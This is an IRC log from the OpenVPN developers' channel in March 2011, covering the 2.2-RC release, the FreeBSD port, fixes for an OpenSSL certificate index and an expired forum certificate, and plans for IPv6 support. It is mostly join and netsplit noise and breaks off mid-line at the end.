mattock: Latest checkout is still doing that config-win32.h/config.h missing. 12:19 < Essobi> mattock: non-fips can connect to FIPS and vice-versa now. :) 12:20 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 12:22 -!- d303k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Connection reset by peer] 12:23 -!- d303k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 12:23 -!- mode/#openvpn-devel [+o d303k] by ChanServ 12:23 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 260 seconds] 12:27 <@dazo> Essobi: maybe it should be possible from the server side to enforce FIPS mode ... and reject non-compliant clients 12:28 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has quit [Ping timeout: 252 seconds] 12:30 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 12:32 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 12:32 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 12:32 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 12:32 -!- d303k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 260 seconds] 12:41 <@cron2> ok, no meeting is good, have too much other distractions :) 12:54 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 12:56 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 12:56 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:59 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:03 <@mattock> jamesyonan: that'd be great! I assume the GPG signature needs updating, too, after EXE signing 14:03 <@jamesyonan> right 14:03 <@mattock> essobi: yep, the config.h issue is on my todo 14:03 <@mattock> copying config-win32.h as config.h does the trick for now 14:08 -!- waldner [~waldner@unaffiliated/waldner] has quit [Remote host closed the connection] 14:08 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 14:08 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 14:08 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 14:14 -!- andj is now known as andj_afk 14:26 -!- dazo is now known as dazo_afk 14:34 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 15:01 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 15:02 -!- mode/#openvpn-devel [+o d457k] by ChanServ 15:06 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Ping timeout: 272 seconds] 15:06 < Essobi> dazo_afk: Hmm.. 15:07 < Essobi> dazo_afk: Perhaps. contractually it isn't always required. 15:51 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 16:19 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:42 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 18:42 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 18:42 -!- mode/#openvpn-devel [+o patelx] by ChanServ --- Log closed Thu Mar 03 19:46:16 2011 --- Log opened Thu Mar 03 19:46:46 2011 19:46 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 19:46 -!- Irssi: #openvpn-devel: Total of 18 nicks [6 ops, 0 halfops, 0 voices, 12 normal] 19:46 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 19:47 -!- Irssi: Join to #openvpn-devel was synced in 29 secs --- Day changed Fri Mar 04 2011 00:38 -!- andj_afk is now known as andj 01:12 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:15 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:29 -!- andj is now known as andj_afk 02:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:03 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 02:45 -!- dazo_afk is now known as dazo 03:27 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 03:42 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 04:04 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 04:04 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 04:04 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 04:04 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:51 <@mattock> 2.2-RC release announcement ready, now just waiting James to sign the EXE 04:51 <@mattock> I poked him a little few hours ago :) 04:54 <+krzee> sweet 04:55 * krzee is on from his car while driving between melbourne, au and sydney, au 04:56 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 04:56 < reiffert> Hi. I was issueing a x509 certificate and openssl did build it, but unfourtunatly did not update the database.txt file, because the Common Name contains german Umlauts. 04:56 < reiffert> Is there a way to rebuild the database.txt file? 04:56 < reiffert> Subject: C=F, ST=B, L=FO, O=BA, OU=FOZ, CN=Jens Vorbr\xF6ker/emailAddress=f@b.f 04:56 < reiffert> example for an german umlaut: ö 04:56 < reiffert> (my irc umlaut should be utf-8, where as the openssl umlaut seems to be one out of iso-8859-1 or -15) 04:56 < reiffert> 0xF6 to be explizit. 04:56 < reiffert> However, the openssl manpage says something about that rebuilding the database file is possible, but however doesnt show ways how to do it. 05:45 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 06:40 <+ecrist> mattock: is the .xz published somewhere? 06:40 <+ecrist> http://i.imgur.com/htZaA.png 06:41 <@dazo> mattock: are there some windows boxes with a C compiler easily available which I can play with at some point? 06:42 <@dazo> probably not today ... maybe more likely Sunday 06:42 <@mattock> ecrist: yep, the same place as always, replace 2.2-beta5 with 2.2-RC 06:42 <@mattock> swupdate.openvpn.net 06:43 <@mattock> dazo: yep, in community vpn 06:43 <@dazo> mattock: can you mail me some info about it ... got a few things I'd like to test out before completing a patch I'll try to squeeze into the final 2.2 release 06:44 <@mattock> dazo: will do 06:44 <@dazo> thx! 06:44 <+ecrist> ok! I'll prep the freebsd release 06:51 <+ecrist> freebsd port is ready, as soon as you say it's OK to go out the door. 06:55 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 06:57 <@mattock> dazo: sent you credentials and info 06:57 <@dazo> thx! 06:58 <@mattock> ecrist: ok 07:01 < reiffert> any idea on how to rebuild the openssl index database? 08:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:25 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 09:15 -!- Netsplit *.net <-> *.split quits: agi, Dark-Fx_, cyberroadie, EvilJStoker 09:18 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 09:18 -!- dazo_ [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:18 -!- mode/#openvpn-devel [+o dazo_] by ChanServ 09:25 -!- Netsplit *.net <-> *.split quits: @cron2, @dazo 09:26 -!- cyberroa1ie [~cyberroad@184-106-222-37.static.cloud-ips.com] has joined #openvpn-devel 09:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 09:28 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 09:34 -!- dazo_ is now known as dazo 09:35 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 09:41 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 10:10 -!- Netsplit *.net <-> *.split quits: @mattock, @jamesyonan, Dark-Fx, EvilJStoker, EO_, @patelx, waldner 10:11 -!- Netsplit *.net <-> *.split quits: @dazo, +janjust, raidzx 10:11 -!- Netsplit *.net <-> *.split quits: chantra_1fk, andj_afk, @d457k, cron2_, s7r, @vpnHelper, kisom, cyberroa1ie, reiffert, Essobi 10:18 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 10:18 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 10:18 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:18 -!- cyberroa1ie [~cyberroad@184-106-222-37.static.cloud-ips.com] has joined #openvpn-devel 10:18 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:18 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 10:18 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 10:18 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 10:18 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:18 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 10:18 -!- ServerMode/#openvpn-devel [+oooo jamesyonan dazo mattock patelx] by verne.freenode.net 10:18 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 10:18 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 10:18 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:18 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 10:18 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 10:18 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 10:18 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 10:18 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 10:18 -!- chantra_1fk [~chantra@ns38827.ovh.net] has joined #openvpn-devel 10:18 -!- ServerMode/#openvpn-devel [+oo d457k vpnHelper] by verne.freenode.net 10:18 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 10:18 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:24 -!- Netsplit *.net <-> *.split quits: EvilJStoker, +krzee, EO_ 10:24 -!- Netsplit *.net <-> *.split quits: @mattock, @dazo, @jamesyonan, Dark-Fx, raidzx, @patelx, waldner 10:24 -!- Netsplit *.net <-> *.split quits: chantra_1fk, andj_afk, @d457k, cron2_, s7r, @vpnHelper, kisom, reiffert, cyberroa1ie, Essobi 10:24 -!- psha [~psha@213.208.162.69] has quit [Quit: Reconnecting] 10:24 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:29 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 10:29 -!- Dark-Fx [~bamcpher@dark-fx.com] has joined #openvpn-devel 10:29 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 10:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:29 -!- cyberroa1ie [~cyberroad@184-106-222-37.static.cloud-ips.com] has joined #openvpn-devel 10:29 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 10:29 -!- cron2_ [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 10:29 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 10:29 -!- reiffert [~thomas@mail.reifferscheid.org] has joined #openvpn-devel 10:29 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:29 -!- ServerMode/#openvpn-devel [+vooo krzee jamesyonan dazo mattock] by verne.freenode.net 10:29 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 10:29 -!- d457k [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 10:29 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 10:29 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:29 -!- kisom [~x@c-74dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 10:29 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 10:29 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 10:29 -!- andj_afk [~adriaan@5356AABF.cm-6-7c.dynamic.ziggo.nl] has joined #openvpn-devel 10:29 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 10:29 -!- chantra_1fk [~chantra@ns38827.ovh.net] has joined #openvpn-devel 10:29 -!- ServerMode/#openvpn-devel [+ooo patelx d457k vpnHelper] by verne.freenode.net 10:30 <@mattock> 2.2-RC is now ready for release 10:30 <@mattock> I'll mail Frank and ask if he could publish updated webpages in 3 hours (19:00 UTC) 10:36 -!- Netsplit *.net <-> *.split quits: EO_ 10:43 <+ecrist> mattock: signed by jamesyonan? 10:46 * ecrist submits to freebsd ports tree 10:46 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 10:46 -!- mode/#openvpn-devel [+v krzie] by ChanServ 10:46 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 10:46 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 240 seconds] 10:47 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 10:50 -!- andj_afk is now known as andj 10:51 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 10:56 -!- Netsplit *.net <-> *.split quits: @mattock 11:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:01 -!- Netsplit over, joins: mattock 11:48 < cron2_> mattock: cool! 12:29 <+ecrist> have we made an announcement yet? 12:37 -!- Netsplit *.net <-> *.split quits: @dazo, chantra_1fk, patel, @mattock, agi, @d457k, cron2_, +krzie, EvilJStoker, s7r, (+10 more, use /NETSPLIT to show all of them) 12:38 -!- Netsplit over, joins: @mattock, patel, agi, +krzie, Dark-Fx, EvilJStoker, @jamesyonan, cyberroa1ie, @dazo, cron2_ (+10 more) 12:49 -!- andj is now known as andj_afk 13:15 <@mattock> ecrist: I'll make the announcements now 13:16 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 250 seconds] 13:16 <+ecrist> ok 13:16 < reiffert> what should I choose to update the openssl index database to change an expired cert from valid to expired? 13:18 * ecrist updates topic in main channel 13:18 <+ecrist> why does your index care? 13:22 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 13:23 < reiffert> openvpn-web-gui shows the status of a certificate based on the index file 13:23 < reiffert> first colum: V=valid, E=expired, R=revoked 13:23 <@mattock> 2.2-RC announcement: https://forums.openvpn.net/topic7732.html 13:23 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN 2.2-RC released : Announcements (at forums.openvpn.net) 13:23 <@mattock> now to mailinglists 13:29 < reiffert> Got it. openssl ca -config /usr/local/openvpn/config/openssl.cnf -updatedb 13:31 <@dazo> mattock: you probably didn't notice my ping on #openvpn, pointing at a discussion with reiffert ... 13:31 <@mattock> ok, all announcements made 13:31 <@dazo> there's a workaround we should inform about 13:31 <@mattock> dazo: no 13:31 <@dazo> if using the scripts plug-in, --tmp-dir should be set to a directory the openvpn process can write to 13:32 <@dazo> reiffert discovered a lot of permission issues on his setups 13:32 <@dazo> I'm going to look at a patch for this, setting --tmp-dir to default to /tmp on *nix and %TEMP% or similar paths on Windows 13:33 -!- Essobi_ [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 13:33 <@dazo> I'd like to have that fixed in the final 2.2 release 13:33 -!- andj_afk is now known as andj 13:36 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 13:36 <@mattock> dazo: makes sense 13:36 <@mattock> dazo: did you manage to access the winxp build computer 13:37 <@dazo> I've not tried yet ... I got to complete validation of a bunch of CVE bugs before Tuesday ... so not today :) 13:37 <@dazo> I'll try on Sunday 13:37 <@mattock> ok, let me know if you run into any issues 13:38 <@dazo> sure :) 13:38 <@dazo> but it sure feels good to have 2.2-RC finally released! 13:38 <@mattock> ...now it's just waiting to see if all hell breaks loose with the new Windows installer :P 13:38 <@mattock> yep, agreed 13:38 <@mattock> I hope the damn thing holds together :) 13:38 <@dazo> I'll begin to rework the git tree soon to ... to make it clearer that the git tree is the upstream tree 13:39 <@dazo> yeah :) 13:39 <@dazo> I think it will hold fine! 13:39 <@mattock> well, it was rigorously smoketested :P 13:39 <@mattock> (isn't that a paradox?) 13:39 <@dazo> I've been running 2.2-beta5 since before Christmas ... and we have not touched the oepnvpn code ... it's only the Windows build part which is fragile 13:40 <@mattock> yep, that's what I'm worried about 13:40 <@dazo> heh ... it sounds like a paradox :) 13:40 <@dazo> If the VC compiler did its job correctly .... then we should not encounter any issues 13:50 -!- cmur2 [~quassel@static.63.239.63.178.clients.your-server.de] has joined #openvpn-devel 13:50 -!- cmur2 [~quassel@static.63.239.63.178.clients.your-server.de] has left #openvpn-devel [] 13:53 -!- andj is now known as andj_afk 13:58 -!- Netsplit *.net <-> *.split quits: patel 13:58 -!- Netsplit *.net <-> *.split quits: reiffert, Essobi 14:01 <+ecrist> openvpn-2.2RC has been published to the freebsd ports tree 14:01 <+ecrist> :D 14:07 -!- Netsplit over, joins: reiffert 14:08 <@dazo> nice! 14:33 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 14:41 -!- jpatterson [~jpatterso@208-104-221-11.fttp.comporium.net] has joined #openvpn-devel 14:49 < Essobi_> ecrist: yay! 14:50 -!- Essobi_ is now known as Essobi 14:54 < jpatterson> Anyone have any idea how hard it would be to implement a "common-name-as-username" option? 14:55 <@dazo> jpatterson: that is there already, you need to add a compile time option 14:56 <@dazo> or is it there already by default ... I know the feature exists at least 14:56 <@dazo> --username-as-common-name 14:56 <@dazo> ahh ... you want the other way around 14:58 <@dazo> jpatterson: it would be good if you could describe the feature more in detail and post it to at openvpn-users or openvpn-devel list ... and we can discuss it more in detail there 15:01 < jpatterson> yeah, the username-as-common-name, from what I see, overwrites the CN for purposes of status and ccd and such 15:02 < jpatterson> I'm wanting to find some way to make sure that users authenticate with both cert and pass, and that their CN matches the username they use. 15:03 < jpatterson> That could be done by either overriding the username for auth purposes with the CN, or by making the CN available to auth plugins, so that the plugin can use it as it sees fit. 15:03 -!- psha [~psha@213.208.162.69] has quit [Quit: zZz] 15:04 <@dazo> jpatterson: have you looked at eurephia? http://www.eurephia.net/ 15:04 <@vpnHelper> Title: eurephia :: a flexible OpenVPN authentication module (at www.eurephia.net) 15:04 < jpatterson> nope, I'll look at it now. 15:04 <@dazo> it does kind of that 15:56 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 15:56 -!- mode/#openvpn-devel [+v janjust] by ChanServ 16:00 <+janjust> hi all - I just got a 'certificate expired' warning when going to the openvpn forums 16:01 < patelx> interesting 16:01 < reiffert> haha 16:02 < patelx> I am looking into it 16:02 < reiffert> Expired since 70 minutes. 16:02 -!- patelx [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Changing host] 16:02 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 16:02 -!- mode/#openvpn-devel [+o patelx] by ChanServ 16:03 <@patelx> 3/4/2011 16:04 < reiffert> 9:50 pm 16:04 <+janjust> yep patelx 16:06 < reiffert> how expensive is a class 2 cert at valicert containing SAN and wildcard names? 16:06 < reiffert> I recently got in contact with startssl.com. They offer 2 years validity for 50 USD and unlimited certificates. 16:07 <@dazo> reiffert: I believe rapidssl has some pretty decent prices ... not sure they're class 2 though 16:07 * dazo chose rapidssl in favour of startssl.com 16:07 < reiffert> why is that? 16:07 <@dazo> better prices, easier/quicker to get everything setup 16:07 < reiffert> new order: USD 79 16:07 < reiffert> startssl is down to 49,90 16:08 <@dazo> yeah, it was also less negative reviews I found when googling rapidssl compared to startssl 16:08 <@patelx> freebsd ninja's in here? 16:08 < reiffert> (for class 2 validation of your personal identity) 16:09 <@dazo> ahh, yeah 16:09 <@patelx> pm 16:09 <@dazo> and when I checked startssl ... their registration service didn't really work :-p 16:09 < reiffert> dazo: it's working just fine, I just did the whole stuff just on Monday night. 16:09 <@dazo> patelx: I'd check with ecrist ... he's a freebsd guy 16:12 <@dazo> reiffert: it's a while since I set up the stuff now ... but I remember startssl being more expensive on wildcard certs at that point too ... 50 USD is far better price nowadays 16:17 <@patelx> fixed forums 16:17 <@patelx> fixing community now 16:18 <+janjust> forums is OK, confirmed 16:22 <@patelx> fixed community 16:22 <@patelx> good catch janjust, thanks 16:23 <+janjust> np, I just ran into that annoying popup window when I went to the forums site 16:39 -!- andj_afk is now known as andj 16:49 -!- dazo is now known as dazo_afk 16:53 -!- janjust [~janjust@openvpn/community/support/janjust] has left #openvpn-devel ["Leaving"] 17:22 -!- jpatterson [~jpatterso@208-104-221-11.fttp.comporium.net] has quit [Quit: Leaving] 17:49 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 18:13 -!- andj is now known as andj_afk 18:22 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 18:22 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:54 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 19:54 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 20:10 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 20:10 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 20:57 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 20:57 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel 22:29 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 252 seconds] 23:40 -!- raidzx [~Andrew@seance.openvpn.org] has quit [Read error: Connection reset by peer] 23:40 -!- raidzx [~Andrew@seance.openvpn.org] has joined #openvpn-devel --- Day changed Sat Mar 05 2011 00:45 -!- andj_afk is now known as andj 02:39 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:44 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 02:45 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 02:58 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 02:59 < s7r> will the next version of openvpn support Ipv6 routing / bridging ? 03:03 <@mattock> s7r: I think 2.3 will support it, cron2 will know the details 03:03 <@mattock> 2.2 won't 03:04 < s7r> thanks 03:28 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:20 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 07:02 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 07:04 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 08:14 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 08:44 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 08:44 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 08:44 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 08:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:46 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Read error: Operation timed out] 09:49 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 09:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:57 -!- andj is now known as andj_afk 10:59 -!- andj_afk is now known as andj 11:52 -!- andj is now known as andj_afk 12:06 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:06 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:40 < cron2_> s7r: 2.2 already supports ipv6 for bridging (tap mode), but you have to manually configure ifconfig and routes 12:40 < s7r> cron2_: thanks 12:40 < s7r> it doesn't support in tun mode ? 12:40 < cron2_> 2.3 should have full ipv6 support with server-pushed config, tun mode, etc 12:41 < cron2_> 2.2 and tun: only in point to point mode 12:41 < cron2_> not with --mode server 12:43 < s7r> ok cron2_ 12:43 < s7r> so in 2.3 we can expect ipv6 routing with available server options like redirect-gateway, etc. ? 12:44 < cron2_> well, not particularily redirect-gateway (this is something I don't need right away and it is not easy to implement), but the rest - route-ipv6, ipv6 pools, etc 12:45 < cron2_> the available commands and functions are here: 12:46 < cron2_> www.greenie.net/ipv6/openvpn.html 12:52 < s7r> but if i want to route the client traffic with ipv6 ip 12:53 < s7r> i can setup openvpn on ipv4 and create on the openvpn server 4to6 tunnels for clients ? 12:59 < cron2_> sure, if you tunnel via ipv4, openvpn will not see the ipv6 anyway 14:07 -!- EO_ [debian-tor@gateway/tor-sasl/eo/x-78165100] has joined #openvpn-devel 15:11 -!- andj_afk is now known as andj 15:42 -!- andj is now known as andj_afk 16:15 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 16:49 -!- andj_afk is now known as andj 17:03 < chantra_1fk> !git 17:03 <@vpnHelper> "git" is (#1) git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#2) Browse the git repository here: http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=summary, or (#3) See !git-doc how to use git 17:30 -!- andj is now known as andj_afk 18:31 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Sun Mar 06 2011 01:13 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:54 -!- andj_afk is now known as andj 04:41 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 05:03 -!- s7r [~s7r@unaffiliated/s7r] has quit [Remote host closed the connection] 05:34 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 07:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 07:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 11:51 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:51 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:01 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:00 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 14:17 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 14:28 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:06 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:50 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Disconnected by services] 15:52 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 15:52 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 16:43 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:43 -!- mode/#openvpn-devel [+v krzee] by ChanServ 18:01 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] --- Day changed Mon Mar 07 2011 00:39 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:39 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Log closed Mon Mar 07 00:48:37 2011 --- Log opened Mon Mar 07 00:48:44 2011 00:48 -!- ecrist_ [~ecrist@216.17.68.153] has joined #openvpn-devel 00:48 -!- Irssi: #openvpn-devel: Total of 21 nicks [6 ops, 0 halfops, 1 voices, 14 normal] 00:49 -!- Irssi: Join to #openvpn-devel was synced in 34 secs 00:55 -!- Netsplit *.net <-> *.split quits: +ecrist 01:02 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:04 -!- andj is now known as andj_afk 01:51 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 01:59 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 02:14 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:49 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 02:50 -!- dazo_afk is now known as dazo 03:19 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:19 -!- mode/#openvpn-devel [+v janjust] by ChanServ 03:19 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit] 03:19 -!- jjk [~janjust@2001:610:120:e100:230:48ff:fe55:aa2e] has joined #openvpn-devel 03:19 -!- jjk [~janjust@2001:610:120:e100:230:48ff:fe55:aa2e] has quit [Remote host closed the connection] 03:20 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 03:20 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has quit [Changing host] 03:20 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 03:20 -!- mode/#openvpn-devel [+v janjust] by ChanServ 04:27 -!- TheSilentTechie [~TheSilent@p5B217FD7.dip.t-dialin.net] has joined #openvpn-devel 04:46 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Quit: Leaving] 05:32 -!- janjust [~janjust@2001:610:120:e100:212:3fff:fe20:8d10] has joined #openvpn-devel 05:32 -!- janjust 